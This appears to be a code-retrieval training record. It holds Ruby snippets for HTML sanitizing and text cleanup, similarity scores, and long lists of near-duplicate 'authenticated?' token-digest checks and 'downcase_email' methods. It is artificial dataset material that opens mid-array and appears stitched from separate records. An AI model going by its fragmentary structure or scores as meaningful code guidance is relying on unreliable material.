"def process_markdown\n self.data = self.class.convert_markdown(self.data)\n sanitize_html\n end",
"def scaffold_fix_template(text)\n text.gsub('-%>', '%>')\n end",
"def whitespace_fixup(text)\n text.andand.gsub(/\\r/, \"\")\n end",
"def remove_empty_paragraphs(env)\n node = env[:node]\n\n node.unlink if node.element? && (node.name == 'p' || node.name == 'span') && node.inner_html.squish.blank?\n end",
"def flush_left text\n indent = 9999\n\n text.each_line do |line|\n line_indent = line =~ /\\S/ || 9999\n indent = line_indent if indent > line_indent\n end\n\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, text.encoding\n\n text.gsub(/^ {0,#{indent}}/, empty)\n end",
"def textilize_without_paragraph(do_object_links=false, sanitize=true)\n textilize(do_object_links, sanitize).sub(/\\A<p[^>]*>(.*?)<\\/p>.*/m, '\\\\1')\n end",
"def yaml_file_workaround(current_contents, delete_quotes)\n nested_map = current_contents[/^\\-\\s\\w+:/] ? true : false\n regex = nested_map ? /^(\\-?\\s+)/ : /^(\\s+\\-\\s)/\n if delete_quotes\n current_contents.delete!('\"')\n end\n current_contents.gsub!(regex, ' \\\\1')\n current_contents\n end",
"def designer_markdown text, options = {}\n return if text.blank?\n Kramdown::Document.new(text, {\n syntax_highlighter_opts: {\n line_numbers: nil\n }\n }.merge(options)).to_html\n end",
"def clean_html\n cleaned = ConverterMachine.clean_html(self) # => {html: clean html, css: Nokogiri extracted <style>...</style>}\n self.update_attributes!(file_content_html: cleaned[:html], file_content_css: cleaned[:css])\n end",
"def sanitize text\n SANITIZE_THIS.each { |s| text = text.gsub(/#{s}/,'') }\n\n #római számok kiegészítés\n text = text.gsub(/\\W*(#{ROMAISZAMOK.keys.join('|')})\\.\\W*(\\w+)/) do \n ROMAISZAMOK[$1] ? ( ROMAISZAMOK[$1] + ' ' + $2 ) : $&\n end\n \n #századok\n text = text.gsub(/(\\W*)(#{(1..21).to_a.join('|')})\\.\\W+század/) do\n $1 + ROMAISZAMOK.values[($2.to_i - 1)]+' század'\n end\n\n #törtek ( itt mind , mind . után jön egy számsorozat\n text = text.gsub(/(\\d+)[,.](\\d+)/) { $1 + ' egész,' + $2 + ' ' }\n\n #külön írt számok, ha az első nem csatlakozik karakterhez, mint bolygónevek pl M4079 448 km/sec\n # és a második 3 karakter, hogy táblázatban lévő évszámokat pl ne vonjon össze\n text = text.gsub(/(\\W\\d+)\\s(\\d{3})/) { $1 + $2 }\n\n #idegesített az isbn\n text = text.gsub(/(ISBN)\\s*([0-9\\-]+)$/i) { 'iesbéen ' + $2.split('').join(' ') }\n\n # ie isz kr e kr u\n text = text.gsub(/(i\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/i){ ' időszámításunk szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}sz\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus szerint ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}u\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus után ' + $2 }\n text = text.gsub(/(i\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' időszámításunk előtt ' + $2 }\n text = text.gsub(/([kK]r\\.{0,1}\\s{0,1}e\\.{0,1})\\s{0,1}(\\d)/){ ' Krisztus előtt ' + $2 }\n\n # kis mértékegység hekk\n text = text.gsub(/\\Wkm\\/h\\W/,' km per óra ')\n text = text.gsub(/\\WkW\\W/,' kilo watt ')\n text = text.gsub(/\\Wkg\\W/i,' kilo gramm ')\n text = text.gsub(/(\\d+)\\W+m\\W/) { $1 + ' méter '}\n text = text.gsub(/°/,' fok')\n text = text.gsub(/[&]i/,' és ')\n # négyzet - sokszor előfordul földrajzban\n text = text.gsub(/km\\W{0,1}²/i){ ' négyzet km ' }\n # négyzet - matekban változó után jön. :/, mértékegységeknél előtte, mértékegységeket ki kéne szedni tömbbe\n text = text.gsub(/²/){ ' négyzet ' }\n text = text.gsub(/\\+\\/\\-/,' plussz minusz ')\n text = text.gsub(/×/,' szor ')\n\n # deokosvagyok rövidítésekbű\n text = text.gsub(/\\sstb\\.\\s/i, ' satöbbi ')\n text = text.gsub(/\\sun\\.\\s/i, ' úgy nevezett ')\n text\nend",
"def clear_htmllike_code(code_string)\n\t\tcomplete_string = \"\"\n\t\tcode_string.split(/[\\r]/).each do |line|\n\t\t complete_string = complete_string + line if not line.strip.chomp.empty?\n\t\tend\n\t\tcomplete_string.gsub(/(<!--[\\s\\S]*?-->)/, \"\\r\")\n\tend",
"def cleanup\n filenames = [\"book.opf\", \"toc.html\"]\n filenames += @chapters\n \n filenames.each do |filename|\n File.delete(filename)\n end\n end",
"def untag(txt)\n Sanitize.clean(txt).strip.gsub(/\\s+/, \" \")\n end",
"def sanitize_as_html!\n Engine.clean!(self)\n end",
"def sanitize_as_html!\n Engine.clean!(self)\n end",
"def decolorize!\n gsub!(/\\e\\[\\d+[;\\d]*m/, '')\n self\n end",
"def clean_article_body\n get_source_selectors.each do |selector|\n if @page.search(selector).present?\n @page = page.search(selector)\n break\n end\n end\n # Strip unwanted spaces and newlines.\n @page.collect {|elt| elt.content.strip.gsub(/\\n|\\r/, '').gsub(/\\ +/, ' ')}.join(' ')\n end",
"def clear(p)\n p.to_plain_text.gsub(/\\n/, \"\").gsub(/\\[.*?\\]/, '')\n end",
"def without_garbage\n reg = Regexp.new /[#{String.characters.join}]+/\n self.scan(reg).join(\"\").gsub(\"\\n\", \" \").gsub(\"|\", \" \").gsub(\"-\", \" \")\n end",
"def strip_html(text)\n @name =\n # Remove HTML from the text\n Sanitize.clean(text).\n # Replace newlines with a space\n gsub(/\\n|\\r/, ' ').\n # Replaces runs of spaces by a single space\n squeeze(' ').\n # Remove leading and trailing whitespace\n strip\nend",
"def clean_content\n return @clean_content if @clean_content\n if content.blank?\n @clean_content = nil\n else\n c = remove_script\n # now replace any tags\n c.gsub!(%r{<[^>]*>}im, \" \")\n @clean_content = c\n end\n end",
"def clean\n tables.clean if tables\n end",
"def remove_nonprintable!\n replace(remove_nonprintable)\n end",
"def preprocess(node)\n if node.text?\n if node.parent&.fragment? && node.blank?\n node.remove\n elsif (prev_node = node.previous)&.text?\n prev_node.content += node.content\n node.remove\n end\n elsif node.comment?\n if node.previous&.text? && node.next&.text? && node.next.content.match?(NEWLINE_BEGIN)\n content = node.previous.content.sub!(NEWLINE_END_OPTIONAL, '')\n content.empty? ? node.previous.remove : node.previous.content = content\n end\n\n node.remove\n end\n\n node.children.each do |child|\n preprocess(child)\n end\n\n if node.fragment?\n children = node.children\n root, root2 = children[0..1]\n\n if (child = children.find(&:text?))\n raise(MalformedTemplateError.new('text nodes are not allowed at root level', @name, child))\n elsif !root\n raise(MalformedTemplateError.new('a root node is required', @name))\n elsif root2\n raise(MalformedTemplateError.new(\"root node already defined on line #{root.line}\", @name, root2))\n end\n end\n end",
"def plain_text(text)\n strip_tags(markdown.render(text.to_s)).strip\n end",
"def remove_paragraph_tags mytext\n mytext.sub!(/^<p>\\s*<\\/p>/,\"\")\n mytext.sub!(/(<br>)*<p>\\s*<\\/p>$/,\"\")\n mytext.sub!(/^<p>/,'')\n mytext.sub!(/<\\/p>?/,'')\n return mytext\n end"
] |
[
"0.7061352",
"0.64970577",
"0.62933946",
"0.6166561",
"0.6128475",
"0.6119458",
"0.60915244",
"0.5948202",
"0.59250087",
"0.5918017",
"0.5907144",
"0.5882884",
"0.5877016",
"0.5864089",
"0.58575803",
"0.5840911",
"0.583019",
"0.57547385",
"0.5723922",
"0.5705098",
"0.564627",
"0.56317556",
"0.56277835",
"0.56251234",
"0.56078476",
"0.5606097",
"0.5606097",
"0.5606097",
"0.5601951",
"0.55770403",
"0.55663824",
"0.5497389",
"0.54967797",
"0.5493692",
"0.5491216",
"0.5486894",
"0.5483361",
"0.54816335",
"0.54769856",
"0.5475303",
"0.5408605",
"0.54042596",
"0.5385807",
"0.5373054",
"0.53668505",
"0.5362648",
"0.53537726",
"0.53409547",
"0.5339801",
"0.53360814",
"0.5334927",
"0.5332815",
"0.5328923",
"0.53260297",
"0.5317631",
"0.53149027",
"0.5281289",
"0.52736926",
"0.52736926",
"0.5267187",
"0.5264354",
"0.5250841",
"0.5249315",
"0.5243013",
"0.5220818",
"0.5220513",
"0.5219016",
"0.52179486",
"0.52124697",
"0.5211606",
"0.5203424",
"0.51939845",
"0.5193972",
"0.51834446",
"0.5178713",
"0.5173528",
"0.51710486",
"0.51664406",
"0.51634485",
"0.5156483",
"0.51548785",
"0.5144194",
"0.5142682",
"0.51423043",
"0.51404744",
"0.5138174",
"0.5136482",
"0.5135614",
"0.5135614",
"0.5125792",
"0.51180124",
"0.5105294",
"0.51000893",
"0.50966346",
"0.5093949",
"0.50850284",
"0.5080489",
"0.50779486",
"0.5077786",
"0.507703"
] |
0.67643803
|
1
|
Returns true if the given token matches the digest
|
def authenticated?(token)
hex_encrypt(token) == remember_token
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authenticated?(digest, token)\n digest = send(\"#{digest}_digest\")\n # Use metaprogramming to select the appropriate token attribute based on\n # the parameter digest.\n return false if digest.nil? # Digest does not exist in the database.\n BCrypt::Password.new(digest).is_password?(token)\n # Decrypts the digest and compares it to the token.\n end",
"def authenticated?(token, digest = nil)\n return false if digest.present? && BCrypt::Password.new(digest).is_password?(token)\n end",
"def validate_token(digest, token)\n if token.nil? || digest.nil?\n false\n else\n BCrypt::Password.new(digest).is_password?(token)\n end\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n digest.is_digest_for? token\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n digest == Digest::SHA1.hexdigest(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n digest == Digest::SHA1.hexdigest(token)\n end",
"def authenticated_with_token?(token)\n return false if token.nil?\n token == remember_digest\n end",
"def valid_signature?(token)\n return false unless token =~ /&HMACSHA256=(.*)$/\n original_signature = CGI.unescape(token[/&HMACSHA256=(.*)$/, 1])\n bare_token = token.gsub(/&HMACSHA256=(.*)$/, '')\n signature = Base64.encode64(HMAC::SHA256.new(Base64.decode64(shared_secret)).update(bare_token.toutf8).digest).strip\n return original_signature == signature\n end",
"def match_token(token)\n return true\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n # when digest nil ist soll die methode false zurückgeben damit Bcrypt keinen Fehler hervorrufen kann, wenn man sich bei zwei BRowsern eingeloggt hat und sich nur bei einem abmeldet, aber beide schließt.\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token) #takes a token, hashes it and compares it to the original hash_digest from the database. If hash_digest of given token is equal to the one saved in the database, authenticatedß returns true.\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\") # no need for self.send as we're in the user model\n return false if digest.nil?\n # verify the token matches the digest\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n \n digest = send(\"#{attribute}_digest\")\n \n return false if digest.blank? \n #ry.binding\n \n #BCrypt::Password.new will fail with invalid_hash as the new hash not having the valid_hash? coming tru for BCrypt gem.\n #It should be passed all the params as in cost and salt, so that it can be successfully be parsed. Otherwise use create.\n #https://github.com/codahale/bcrypt-ruby/blob/master/lib/bcrypt/password.rb\n # alias is_password, :== \n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = self.try(\"#{attribute}_digest\")\n return false if digest.nil?\n ::BCrypt::Password.new(digest) == token\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n \treturn false if digest.nil?\n \tBCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token) \n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n \tdigest = send(\"#{attribute}_digest\")\n \treturn false if digest.nil?\n \tBCrypt::Password.new(digest).is_password?(token)\n \tend",
"def matches?( crypted, *tokens )\n crypted == join_tokens( tokens )\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_token_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute ,token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token) #remeber_token variabile locale non della classe\n end",
"def authenticated?(auth_token)\n return false if auth_token_digest.nil?\n BCrypt::Password.new(auth_token_digest).is_password? (auth_token)\n end",
"def authenticated?(attribute, token)\n\tdigest = send(\"#{attribute}_digest\")\n\treturn false if digest.nil?\n\tBCrypt::Password.new(digest).is_password?(token)\nend",
"def authenticated?(attribute,token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n \tdigest = send(\"#{attribute}_digest\")\n \treturn false if digest.nil?\n \tBCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n \t\tdigest = send(\"#{attribute}_digest\")\n \treturn false if digest.nil?\n \tBCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n digest.present? ? BCrypt::Password.new(digest).is_password?(token) : false\n end",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n \treturn false if digest.nil? # fix kada imamo 2 browsera\n \tBCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n\n end",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil? \n \n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n\t\tdigest = send(\"#{attribute}_digest\")\n\t\treturn false if digest.nil?\n\t\tBCrypt::Password.new(digest).is_password?(token)\n\tend",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def require_token\n today = Time.now\n today_string = today.to_date.to_s\n yesterday_string = today.yesterday.to_date.to_s\n return false unless [today_string, yesterday_string].include?(params[:salt])\n params[:token] == token_with_salt(params[:salt])\n end",
"def authenticated?(token)\n digest = self.otp_digest\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def hashes_match?\n ar = @ar.clone\n\n digest_value = ar.at_css(\n 'xmlns|DigestValue',\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).content.strip\n\n ar.at_css(\n \"xmlns|Signature\",\n 'xmlns' => 'http://www.w3.org/2000/09/xmldsig#'\n ).remove\n\n actual_digest = calculate_digest(ar)\n\n if digest_value == actual_digest\n true\n else\n false\n end\n end",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?(attribute, token)\n digest = self.send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(digest).is_password?(token)\n end"
] |
[
"0.7857136",
"0.75394505",
"0.743387",
"0.7321885",
"0.714117",
"0.714117",
"0.71279824",
"0.7091808",
"0.705077",
"0.6928193",
"0.6892255",
"0.6887895",
"0.6860336",
"0.6815546",
"0.6793302",
"0.678842",
"0.67861015",
"0.678452",
"0.67813665",
"0.67691225",
"0.6757527",
"0.67563987",
"0.6738151",
"0.67285985",
"0.67285264",
"0.67263824",
"0.67236006",
"0.6713979",
"0.6706749",
"0.67005587",
"0.6697641",
"0.6697641",
"0.6697641",
"0.6697641",
"0.6697641",
"0.6697641",
"0.6697641",
"0.6697641",
"0.6697641",
"0.6697641",
"0.66975904",
"0.66963786",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66899925",
"0.66887474",
"0.668866",
"0.665649",
"0.66473365",
"0.6646231",
"0.6646231",
"0.6646231",
"0.6646231",
"0.6646231",
"0.6646231"
] |
0.0
|
-1
|
Converts email to all lowercase.
|
def downcase_email
email.downcase!
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def downcase_email\n\t email.downcase!\n\t end",
"def downcase_email\n email.downcase!\n end",
"def lowercase_email\n email.downcase! if email.present?\n end",
"def downcase_email\n email.downcase!\n end",
"def downcase_email\n email.downcase!\n end",
"def downcase_email\n email.downcase!\n end",
"def downcase_email\n email.downcase!\n end",
"def downcase_email\n\t\t\t# self.email = email.downcase\n\t\t\temail.downcase!\n\t\tend",
"def downcase_email\n \t email.downcase!\n \t end",
"def normalize\n @normalized_email = email.downcase\n normalized_email\n end",
"def downcase_email\n # self.email = email.downcase\n email.downcase!\n end",
"def downcase_email\n\t\tself.email.downcase!\n\tend",
"def downcase_email\n self.email.downcase!\n end",
"def downcase_email\n self.email.downcase!\n end",
"def downcase_email\n self.email.downcase!\n end",
"def downcase_email\n email.downcase\n end",
"def downcase_email\n\t self.email = email.downcase\n\t end",
"def downcase_email\n email.downcase! #same as self.email = email.downcase\n end",
"def downcase_email\n email.downcase if email\n end",
"def downcase_email\r\n self.email = email.downcase\r\n end",
"def downcase_email\n self.email.downcase!\n end",
"def upcase_email_for_lansa(email_address)\n email_address.strip.upcase\n end",
"def downcase_email\n return if email.present?\n\n email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase if self.email?\n end",
"def downcase_email\n\t\tself.email = email.downcase\n\tend",
"def downcase_email\n\t\tself.email = email.downcase\n\tend",
"def downcase_email\n\t\tself.email = email.downcase\n\tend",
"def downcase_email\n\t\tself.email = email.downcase\n\tend",
"def downcase_email\n\t\tself.email = email.downcase\n\tend",
"def downcase_email\n\t\tself.email = email.downcase\n\tend",
"def downcase_email\n self.email = email.downcase if self.email\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
"def downcase_email\n self.email = email.downcase\n end",
